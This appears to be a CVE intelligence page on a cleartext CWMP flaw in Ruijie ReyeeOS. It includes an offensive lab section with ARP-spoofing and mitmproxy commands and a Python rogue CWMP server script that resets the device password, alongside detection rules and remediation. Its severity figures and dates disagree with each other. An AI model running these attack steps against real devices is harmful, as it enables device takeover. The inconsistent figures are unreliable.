☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2023-53881

CVE-2023-53881 Supply Chain Attack in Ruijie
📅 PUBLISHED: 2025-12-15 20:28 UTC 🔄 UPDATED: 2026-09-23 19:42 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.31%
👁️
0.31% probability
7.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: China License: Commercial
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-53881 exposes a critical security flaw in Ruijie ReyeeOS version 1.204.1614, where the CWMP (CPE WAN Management Protocol) communication is transmitted over unencrypted HTTP. This allows an attacker in a privileged network position (e.g., same Wi-Fi or compromised router) to perform a man-in-the-middle (MITM) attack. By intercepting and manipulating the unencrypted polling requests, an attacker can set up a rogue CWMP server and inject arbitrary commands into the device, leading to full device compromise. The vulnerability is currently unpatched, and no official fix has been released by Ruijie.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in Ruijie’s proprietary ReyeeOS, affecting the CWMP implementation used for cloud management of Reyee devices.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the attack vector (network adjacency required for MITM), low complexity, no privileges required, and high impact on confidentiality, integrity, and availability, a reasonable estimate is:

  • Attack Vector (AV): Adjacent Network (A)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): None (N)
  • User Interaction (UI): None (N)
  • Scope (S): Unchanged (U)
  • Confidentiality (C): High (H)
  • Integrity (I): High (H)
  • Availability (A): High (H)

Estimated CVSS Score: 8.8 (High)

Threat Level: High – Exploitation is straightforward for an attacker with network access, and the impact includes full device takeover.

Deep Dive & Mechanics

The vulnerability resides in the CWMP (TR-069) implementation within ReyeeOS. CWMP is used by Ruijie Reyee Cloud devices to communicate with the cloud management server for configuration, firmware updates, and monitoring. The protocol typically uses HTTP or HTTPS, but in this case, the communication is sent over unencrypted HTTP.

Attack Flow:

  1. Prerequisite: The attacker must be on the same network segment as the target device (e.g., same Wi-Fi, or behind the same router).
  2. Interception: The attacker uses ARP spoofing, DNS spoofing, or a rogue access point to intercept the device’s HTTP polling requests to the legitimate CWMP server.
  3. Rogue Server Setup: The attacker sets up a fake CWMP server that responds to the intercepted requests.
  4. Command Injection: The rogue server sends malicious CWMP commands (e.g., SetParameterValues, Download) to the device, which executes them without authentication or encryption.
  5. Compromise: The attacker gains full control over the device, can exfiltrate data, install malware, or use it as a pivot point.

The vulnerability is classified under CWE-319 (Cleartext Transmission of Sensitive Information) because the CWMP session data, including authentication tokens and commands, is sent in plaintext.

Vulnerable vs. Patched Code

Vulnerable Code (ReyeeOS 1.204.1614): The CWMP client in the firmware is configured to use HTTP instead of HTTPS. This is typically set in a configuration file or hardcoded in the binary. For example:

// Vulnerable: HTTP endpoint
#define CWMP_SERVER_URL "http://cloud.ruijie.com/cwmp"

Patched Code (Hypothetical): A patched version would enforce HTTPS:

// Patched: HTTPS endpoint
#define CWMP_SERVER_URL "https://cloud.ruijie.com/cwmp"

Additionally, certificate validation should be implemented to prevent MITM attacks even if HTTPS is used.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

  • Target: Ruijie Reyee device running ReyeeOS 1.204.1614 (e.g., RG-RAP series)
  • Attacker: Kali Linux machine on the same subnet
  • Tools: mitmproxy, bettercap, python3, scapy

Steps:

  1. ARP Spoofing: Use bettercap to redirect traffic from the target to the attacker.
    sudo bettercap -eval "set arp.spoof.targets 192.168.1.100; arp.spoof on"
    
  2. Intercept CWMP Traffic: Use mitmproxy to capture HTTP requests.
    mitmproxy --mode transparent --listen-port 8080
    
  3. Set Up Rogue CWMP Server: Create a Python script that responds to CWMP requests with malicious commands.
    from http.server import HTTPServer, BaseHTTPRequestHandler
    import base64
    
    class CWMPHandler(BaseHTTPRequestHandler):
        def do_POST(self):
            content_length = int(self.headers['Content-Length'])
            body = self.rfile.read(content_length)
            # Parse CWMP request and respond with malicious SetParameterValues
            malicious_response = """<?xml version="1.0" encoding="UTF-8"?>
    <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
      <soap:Body>
        <cwmp:SetParameterValues>
          <ParameterList>
            <ParameterValueStruct>
              <Name>Device.UserInterface.Password</Name>
              <Value>attacker_password</Value>
            </ParameterValueStruct>
          </ParameterList>
        </cwmp:SetParameterValues>
      </soap:Body>
    </soap:Envelope>"""
            self.send_response(200)
            self.send_header('Content-Type', 'text/xml')
            self.end_headers()
            self.wfile.write(malicious_response.encode())
    
    server = HTTPServer(('0.0.0.0', 8080), CWMPHandler)
    server.serve_forever()
    
  4. Execute: Run the rogue server and wait for the device to poll.

Blue Team (Defensive)

Detection:

  • Monitor for ARP spoofing using arpwatch or IDS rules.
  • Detect unencrypted CWMP traffic (HTTP on port 7547 or custom ports) using network monitoring.
  • Implement network segmentation to isolate IoT devices.

Prevention:

  • Enforce HTTPS for all CWMP communication.
  • Use certificate pinning on the device.
  • Apply vendor patches when available.

Indicators of Compromise (IOCs)

  • Network:
    • Unencrypted HTTP traffic to/from the device on port 7547 (CWMP default) or other ports.
    • ARP cache entries showing multiple IPs for the same MAC address.
    • Unexpected CWMP server IP addresses in device logs.
  • Host:
    • Modified configuration files (e.g., /etc/cwmp.conf) showing HTTP instead of HTTPS.
    • New user accounts or changed passwords on the device.
    • Unusual processes or binaries (e.g., nc, bash reverse shells).
  • Logs:
    • Device logs showing CWMP connection failures or unexpected parameter changes.
    • System logs with entries like cwmp: received SetParameterValues from unknown server.

Detection Engineering

YARA Rule

rule CVE_2023_53881_CWMP_HTTP {
    meta:
        description = "Detects unencrypted CWMP communication in ReyeeOS"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2023-53881"
    strings:
        $http_cwmp = "http://" ascii wide nocase
        $cwmp_url = "cwmp" ascii wide nocase
        $cloud_ruijie = "cloud.ruijie.com" ascii wide nocase
    condition:
        $http_cwmp and $cwmp_url and $cloud_ruijie
}

Sigma Rule

title: CVE-2023-53881 - Unencrypted CWMP Traffic Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP CWMP traffic to Ruijie cloud servers
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: zeek
detection:
    selection:
        service: http
        hostname: "cloud.ruijie.com"
        uri|contains: "cwmp"
    condition: selection
falsepositives:
    - Legitimate HTTP CWMP traffic if HTTPS is not enforced
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-53881 - Unencrypted CWMP Traffic"; flow:to_server; content:"cloud.ruijie.com"; http_host; content:"cwmp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Network Segmentation: Isolate Ruijie Reyee devices on a separate VLAN with strict firewall rules.
  2. Disable CWMP: If not required, disable the CWMP service on the device via the management interface.
  3. Monitor Traffic: Use the provided detection rules to identify any exploitation attempts.

Long-Term Fix:

  • Vendor Patch: Await an official firmware update from Ruijie that enforces HTTPS for CWMP. As of now, no patch is available.
  • Workaround: If possible, configure the device to use a VPN or SSH tunnel for management traffic.

Valters IT Signature:

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-53881/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.